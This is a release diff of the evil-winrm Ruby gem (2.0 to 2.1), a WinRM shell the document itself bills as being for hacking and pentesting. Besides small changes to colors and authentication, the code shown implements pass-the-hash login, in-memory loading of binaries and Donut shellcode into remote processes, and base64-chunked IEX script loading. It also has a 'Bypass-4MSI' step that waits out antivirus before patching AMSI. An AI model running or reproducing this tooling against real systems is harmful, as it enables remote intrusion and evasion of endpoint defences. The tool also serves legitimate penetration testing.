evil-winrm 2.0 → 2.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 32e4c0b2973c2c6f242ac87ad3744cd482583ff6b005805059cbec6ebe74ae28
-  data.tar.gz: f80125520a8722864ad78745d9078fc9ef3624bb281ab483735b783b12d1e85c
+  metadata.gz: 7bda0429003e0d48d8305459a866f5f3a460fc1320af0cc3446081903e239dbf
+  data.tar.gz: 3746f299b2733317505df1bbb729da500edca1db5175b75392e9b7b5f7192db9
 SHA512:
-  metadata.gz: 8c4511114adfd5e3be1b11d32f0ae937534173b46b35e62430c8d8158b0ae2caa1de99696da83287bd04e748d1fb108d0722feb3df08c888cc56c47d5e8bb216
-  data.tar.gz: 3b18bb605f2713fa30acc658cd3a15fd2026c50c58525ee43eedb0834a1297c0812ae661cb480fa22f97fb78844891cdce11b780d0dd6f8d7a9e48ba5e065664
+  metadata.gz: 9734fc33c8e9bd6f06269492c9207a39be730525b081164a5a70730b2c0aff90eee72b31889ffea30d03988ebeef737de1ed18c4efd82c8557b7248d3c86f607
+  data.tar.gz: 40bb3349b464527a142ab82eabcb5b8f3e3a2132e784a1d4d39f528b522e56f6fcec2bd8169b67b3ca1dd4d3c6a7a2499cf06a4d7f1a2a480435dc1358e1aef4

data/lib/evil-winrm.rb

@@ -8,7 +8,6 @@
 require 'winrm'
 require 'winrm-fs'
 require 'stringio'
-require 'colorize'
 require 'base64'
 require 'readline'
 require 'optionparser'
@@ -18,7 +17,7 @@ require 'time'
 # Constants
 
 # Version
-VERSION = '2.0'
+VERSION = '2.1'
 
 # Msg types
 TYPE_INFO = 0
@@ -34,7 +33,7 @@ $LISTASSEM = [''].sort
 $DONUTPARAM1 = ['-process_id']
 $DONUTPARAM2 = ['-donutfile']
 
-# Colors. Set this to false to disable colors
+# Colors
 $colors_enabled = true
 
 # Path for ps1 scripts and exec files
@@ -70,7 +69,7 @@ class EvilWinRM
             opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
             opts.on("-u", "--user USER", "Username (required)") { |val| options[:user] = val }
             opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
-            opts.on("-H", "--hash HASH", "NTLM hash") do |val|
+            opts.on("-H", "--hash HASH", "NTHash") do |val|
                 if !options[:password].nil? and !val.nil?
                     self.print_header()
                     self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
@@ -88,6 +87,9 @@ class EvilWinRM
                 puts("v#{VERSION}")
                 self.custom_exit(0, false)
             end
+            opts.on("-n", "--no-colors", "Disable colors") do |val|
+                $colors_enabled = false
+            end
             opts.on('-h', '--help', 'Display this help message') do
                 self.print_header()
                 puts(opts)
@@ -98,7 +100,7 @@ class EvilWinRM
 
         begin
             optparse.parse!
-        if options[:realm].nil? then
+        if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
             mandatory = [:ip, :user]
         else
             mandatory = [:ip]
@@ -115,7 +117,7 @@ class EvilWinRM
             custom_exit(1, false)
         end
 
-        if options[:password].nil? and options[:realm].nil?
+        if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
             options[:password] = STDIN.getpass(prompt='Enter Password: ')
         end
 
@@ -390,155 +392,166 @@ class EvilWinRM
             time = Time.now.to_i
             self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
             $conn.shell(:powershell) do |shell|
-                until command == "exit" do
-
-                    pwd = shell.run("(get-location).path").output.strip
-                    command = Readline.readline("*Evil-WinRM*".red + " PS ".yellow + pwd + "> ", true) # True for command history
-
-                    if command.start_with?('upload') then
-                        if self.docker_detection() then
-                            puts()
-                            self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
+                begin
+                    until command == "exit" do
+                        pwd = shell.run("(get-location).path").output.strip
+                        if $colors_enabled then
+                            command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
+                        else
+                            command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
                         end
 
-                        upload_command = command.tokenize
-                        command = ""
-
-                        if upload_command[2].to_s.empty? then 
-                            upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
-                        elsif not upload_command[2].index ':\\'
-                            upload_command[2] = "#{pwd}\\#{upload_command[2]}"
-                        end
-                        begin
-                            self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
-                            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
-                            if bytes_copied == total_bytes then
-                                self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
-                                self.print_message("Upload successful!", TYPE_INFO)
+                        if command.start_with?('upload') then
+                            if self.docker_detection() then
+                                puts()
+                                self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
                             end
-                          end
-                        rescue
-                            self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
-                        end
 
-                    elsif command.start_with?('download') then
-                        if self.docker_detection() then
-                            puts()
-                            self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
-                        end
+                            upload_command = command.tokenize
+                            command = ""
 
-                        download_command = command.tokenize
-                        command = ""
-
-                        if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
-                        
-                        if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
-                        
-                        begin
-                            self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
-                            file_manager.download(download_command[1], download_command[2])
-                            self.print_message("Download successful!", TYPE_INFO)
-                        rescue
-                            self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
-                        end
+                            if upload_command[2].to_s.empty? then
+                                upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
+                            elsif not upload_command[2].index ':\\'
+                                upload_command[2] = "#{pwd}\\#{upload_command[2]}"
+                            end
+                            begin
+                                self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
+                                file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
+                                    if bytes_copied == total_bytes then
+                                        self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
+                                        self.print_message("Upload successful!", TYPE_INFO)
+                                    end
+                                end
+                            rescue
+                                self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
+                            end
+                        elsif command.start_with?('download') then
+                            if self.docker_detection() then
+                                puts()
+                                self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
+                            end
 
-                    elsif command.start_with?('Invoke-Binary') then
-                        begin
-                            invoke_Binary = command.tokenize
+                            download_command = command.tokenize
                             command = ""
-                            if !invoke_Binary[1].to_s.empty? then
-                                load_executable = invoke_Binary[1]
-                                load_executable = File.binread(load_executable)
-                                load_executable = Base64.strict_encode64(load_executable)
-                                if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
-                                    output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
-                                elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
-                                    output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
-                                elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
-                                    output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
-                                elsif invoke_Binary[2].to_s.empty?
-                                    output = shell.run("Invoke-Binary " + load_executable)
+
+                            if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
+
+                            if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
+
+                            begin
+                                self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
+                                file_manager.download(download_command[1], download_command[2])
+                                self.print_message("Download successful!", TYPE_INFO)
+                            rescue
+                                self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
+                            end
+
+                        elsif command.start_with?('Invoke-Binary') then
+                            begin
+                                invoke_Binary = command.tokenize
+                                command = ""
+                                if !invoke_Binary[1].to_s.empty? then
+                                    load_executable = invoke_Binary[1]
+                                    load_executable = File.binread(load_executable)
+                                    load_executable = Base64.strict_encode64(load_executable)
+                                    if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
+                                        output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
+                                    elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
+                                        output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
+                                    elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
+                                        output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
+                                    elsif invoke_Binary[2].to_s.empty?
+                                        output = shell.run("Invoke-Binary " + load_executable)
+                                    end
+                                elsif
+                                    output = shell.run("Invoke-Binary")
                                 end
-                            elsif
-                                output = shell.run("Invoke-Binary")
+                                print(output.output)
+                            rescue
+                                self.print_message("Check filenames", TYPE_ERROR)
                             end
-                            print(output.output)
-                        rescue
-                            self.print_message("Check filenames", TYPE_ERROR)
-                        end
 
-                    elsif command.start_with?('Donut-Loader') then
-                        begin
-                            donut_Loader = command.tokenize
-                            command = ""
-                            if !donut_Loader[4].to_s.empty? then
-                                pid = donut_Loader[2]
-                                load_executable = donut_Loader[4]
-                                load_executable = File.binread(load_executable)
-                                load_executable = Base64.strict_encode64(load_executable)
-                                output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
-                            elsif
-                                output = shell.run("Donut-Loader")
+                        elsif command.start_with?('Donut-Loader') then
+                            begin
+                                donut_Loader = command.tokenize
+                                command = ""
+                                if !donut_Loader[4].to_s.empty? then
+                                    pid = donut_Loader[2]
+                                    load_executable = donut_Loader[4]
+                                    load_executable = File.binread(load_executable)
+                                    load_executable = Base64.strict_encode64(load_executable)
+                                    output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
+                                elsif
+                                    output = shell.run("Donut-Loader")
+                                end
+                                print(output.output)
+                            rescue
+                                self.print_message("Check filenames", TYPE_ERROR)
                             end
-                            print(output.output)
-                        rescue
-                            self.print_message("Check filenames", TYPE_ERROR)
-                        end
 
-                    elsif command.start_with?('services') then
-                        command = ""
-                        output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
-                        print(output.output.chomp)
+                        elsif command.start_with?('services') then
+                            command = ""
+                            output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
+                            print(output.output.chomp)
+
+                        elsif command.start_with?(*functions) then
+                            self.silent_warnings do
+                                load_script = $scripts_path + command
+                                command = ""
+                                load_script = load_script.gsub(" ","")
+                                load_script = File.binread(load_script)
+                                load_script = Base64.strict_encode64(load_script)
+                                script_split = load_script.scan(/.{1,5000}/)
+                                script_split.each do |item|
+                                    output = shell.run("$a += '#{item}'")
+                                end
+                                output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
+                                output = shell.run("$a = $null")
+                            end
 
-                    elsif command.start_with?(*functions) then
-                        self.silent_warnings do
-                            load_script = $scripts_path + command
+                        elsif command.start_with?('menu') then
                             command = ""
-                            load_script = load_script.gsub(" ","")
-                            load_script = File.binread(load_script)
-                            load_script = Base64.strict_encode64(load_script)
-                            script_split = load_script.scan(/.{1,5000}/)
-                            script_split.each do |item|
-                                output = shell.run("$a += '#{item}'")
+                            self.silent_warnings do
+                                output = shell.run(menu)
+                                output = shell.run("Menu")
+                                autocomplete = shell.run("auto").output.chomp
+                                autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
+                                assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
+                                assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
+                                if !assemblyautocomplete.to_s.empty?
+                                    $LISTASSEMNOW = assemblyautocomplete.split("\n")
+                                    $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
+                                end
+                                $LIST2 = autocomplete.split("\n")
+                                $LIST = $LIST + $LIST2
+                                print(output.output)
                             end
-                            output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
-                            output = shell.run("$a = $null")
+
+                        elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
+                            puts()
+                            self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
+                            sleep(9)
                         end
 
-                    elsif command.start_with?('menu') then
-                        command = ""
-                        self.silent_warnings do
-                            output = shell.run(menu)
-                            output = shell.run("Menu")
-                            autocomplete = shell.run("auto").output.chomp
-                            autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
-                            assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
-                            assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
-                            if !assemblyautocomplete.to_s.empty?
-                                $LISTASSEMNOW = assemblyautocomplete.split("\n")
-                                $LISTASSEM = $LISTASSEM + $LISTASSEMNOW
+                        output = shell.run(command) do |stdout, stderr|
+                            stdout&.each_line do |line|
+                                STDOUT.puts(line.rstrip!)
                             end
-                            $LIST2 = autocomplete.split("\n")
-                            $LIST = $LIST + $LIST2
-                            print(output.output)
+                            STDERR.print(stderr)
                         end
-
-                    elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
-                        puts()
-                        self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
-                        sleep(9)
                     end
-
-                    output = shell.run(command) do |stdout, stderr|
-                        STDOUT.print(stdout)
-                        STDERR.print(stderr)
+                rescue Interrupt
+                    puts("\n\n")
+                    self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING)
+                    if STDIN.getch.downcase == "y" or STDIN.getch.downcase == "Y"
+                        self.custom_exit(130)
+                    else
+                        retry
                     end
                 end
-
-                self.custom_exit(0)
-            end
-        rescue SignalException
-            self.custom_exit(130)
+            self.custom_exit(0)
+        end
         rescue SystemExit
         rescue SocketError
             self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR)

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: evil-winrm
 version: !ruby/object:Gem::Version
-  version: '2.0'
+  version: '2.1'
 platform: ruby
 authors:
 - CyberVaca
@@ -11,7 +11,7 @@ authors:
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2019-11-17 00:00:00.000000000 Z
+date: 2020-01-14 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: winrm
@@ -55,20 +55,6 @@ dependencies:
     - - ">="
       - !ruby/object:Gem::Version
         version: 0.0.2
-- !ruby/object:Gem::Dependency
-  name: colorize
-  requirement: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 0.8.1
-  type: :runtime
-  prerelease: false
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: 0.8.1
 description: The ultimate WinRM shell for hacking/pentesting
 email: oscar.alfonso.diaz@gmail.com
 executables: